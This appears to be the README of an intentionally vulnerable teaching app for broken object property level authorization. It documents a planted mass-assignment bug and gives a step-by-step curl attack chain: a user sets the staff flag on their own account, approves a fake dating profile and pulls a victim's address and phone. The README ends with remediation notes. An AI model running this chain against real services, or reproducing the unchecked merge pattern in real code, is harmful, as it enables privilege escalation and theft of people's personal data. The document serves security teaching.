Intentionally vulnerable demo app for teaching BOPLA (Broken Object Property Level Authorization) chained into a full business-logic privilege-escalation / PII-harvesting attack.
⚠️ Demo only. Weak secrets, no HTTPS, no rate limiting, JSON-file "DB". Never deploy as-is.
npm install
npm start
# http://localhost:3000
docker compose up --build
# http://localhost:3000
Or plain Docker, no compose:
docker build -t lovebird-demo .
docker run -d -p 3000:3000 -v lovebird-data:/app/data --name lovebird-demo lovebird-demo
The data/ folder (JSON "DB") is a volume — it persists across container
restarts and re-seeds automatically if missing. To reset the demo to its
original seeded state: docker compose down -v (or docker volume rm lovebird-data)
then start again.
Data lives in data/db.json, re-seeded automatically if deleted:
[email protected] / StaffPass123! — real staff account. Staff review
signups; they don't date, and they're excluded from Browse/Messages
entirely — by design, not just because the UI hides a button.[email protected], [email protected], [email protected] / password123 — pre-approved daters[email protected] / password123 — signed up but not yet approved; log in as Tom to see the pending-approval flow (fill profile, but can't browse/message until staff approves)[email protected] / password123 — pre-approved demo victim: she's the one who will message the attacker's fake profile and leak her real PII (address, phone) in the chain below[email protected], [email protected] / password123 — signed up, not yet approved (so they're invisible on Browse but already have full PII saved: address, phone)Interactive Swagger UI and the raw OpenAPI spec are served from the app, using a relative server URL so they work on any host (localhost or a deployed domain):
/api/v1/swagger/api/v1/swagger.jsonEvery path is documented — auth, profile, messaging and all staff actions (approve / reject / ban / unban) — with sane example/default values so "Try it out" works out of the box.
Normal business rule: you can register and fill in your profile right
away, but you can't browse other members or send/receive messages
until staff approves your profile (requireApproved middleware on
routes/profiles.js and routes/messages.js). Staff are a separate
role: they don't date, so a staff account can never be approved
into the dating pool. That invariant is enforced in two places —
routes/staff.js refuses to approve any staff account, and
PATCH /api/users/me forces approved back to false the moment an
account is escalated to staff (even if it was an already-approved
dater before).
The bug: PATCH /api/users/me merges the request body into the user
record without checking whether the caller may set each property
(routes/users.js). Protected fields (id/email/password and the
moderation flags approved/rejected) are stripped, but the privilege
flag staff is not:
const { id, email, password, approved, rejected, createdAt, ...patch } = req.body;
Object.assign(user, patch); // `staff` still flows through — the planted bug
if (user.staff) user.approved = false; // staff can never be an approved dater
So a client can PATCH { "staff": true } and self-promote to staff.
They cannot self-approve this way (approved is stripped, and
escalating to staff actively clears it), and a staff member cannot
approve/reject their own account either — so the only way to end up
with a visible, approved profile is to hold a second, non-staff
account and approve that one. That's the whole attack: one account
becomes staff, a different account gets approved by it.
GET /api/users/me happily shows the user their own staff and
approved flags in the API response (just not rendered anywhere in the
UI — you'd have to notice it in devtools/Burp, same as a real pentest).
The staff API (routes/staff.js) is gated only by requireStaff
(a staff===true role check) — not by network/IP, and not by
approved either. The underlying assumption ("only the dashboard needs
protecting") doesn't hold once a normal user can grant themselves the
staff role directly through the profile PATCH endpoint. And once they
have it, the app hands them a full UI dashboard for it — same as any
legitimate staff member would get, because the server can't tell the
difference.
The attack needs two accounts: one that becomes staff, and a second,
non-staff profile that the first one approves (you can't approve your own
account, and a staff account can't be approved at all). The app's own UI
never exposes an "admin"/"staff" field to edit — that's the point. An
attacker finds it by inspecting the GET /api/users/me response (e.g. in
the Network tab) and then crafts the PATCH manually, via curl or the
browser console. Steps 1–4 below show that part with curl; everything
after step 6 can be done in the browser UI.
BASE=http://localhost:3000
# 1. Register the MAIN account
curl -s -c attacker.jar -X POST $BASE/api/auth/register -H 'Content-Type: application/json' \
-d '{"name":"Attacker","email":"[email protected]","password":"pass1234"}'
# 2. See your own record — note "staff": false, "approved": false
curl -s -b attacker.jar $BASE/api/users/me
# 3. BOPLA: PATCH the MAIN account into staff. staff is the ONLY privilege
# the mass-assignment leaks: adding "approved": true here is ignored
# (stripped), and because the account is now staff, approved is forced
# to false anyway — staff can never be an approved dater.
curl -s -b attacker.jar -X PATCH $BASE/api/users/me -H 'Content-Type: application/json' \
-d '{"staff": true}'
# 4. Log in as [email protected] in the browser now — the nav bar shows
# a "Staff Dashboard" tab with pending signups (name, address, phone,
# email) and Approve/Reject buttons, exactly like a real staff member
# would see. Browse/Messages are gone from the nav — staff can't date.
# 5. Register a SECONDARY account — the fake dating profile (normal
# registration, in the UI or via curl). This is the account that will
# actually appear on Browse.
curl -s -c fake.jar -X POST $BASE/api/auth/register -H 'Content-Type: application/json' \
-d '{"name":"Fake Hottie","email":"[email protected]","password":"pass1234"}'
# 6. Approve the SECONDARY profile from the MAIN (staff) session — this
# works because it's a *different*, non-staff account. (Approving your
# own account, or any staff account, is rejected.) Click Approve on the
# Staff Dashboard, or via curl:
curl -s -b attacker.jar -X POST $BASE/api/staff/users/<fakeId>/approve
# 7. Fake profile is now live on Browse for real, approved users.
# 8. A real approved user — Tamar, our demo victim — logs in and clicks
# 💬 Message on the fake profile from Browse. No ID ever touched.
# -> the message carries Tamar's real userId as fromUserId
# 9. Attacker opens Messages while logged in as the fake profile, reads
# Tamar's userId off the conversation, then pulls her FULL PII
# (address, phone, email) via the staff "approval" endpoint — which
# works on ANY userId, approved or not:
curl -s -b attacker.jar $BASE/api/staff/users/<tamarUserId>
Impact: self-granted staff role → a full, legitimate-looking dashboard to approve fake/scam profiles (or sell approvals) → harvest real users' PII (home address, phone) just from their userId leaking in message metadata.
PATCH /api/users/me (name, age, gender,
bio, pictureUrl, address, phone) and never let a client set staff
or approved directly.staff as a server-assigned, immutable-by-client field.Content type
Image
Digest
sha256:368c4cdea…
Size
67 MB
Last updated
9 days ago
docker pull brightsec/dating-app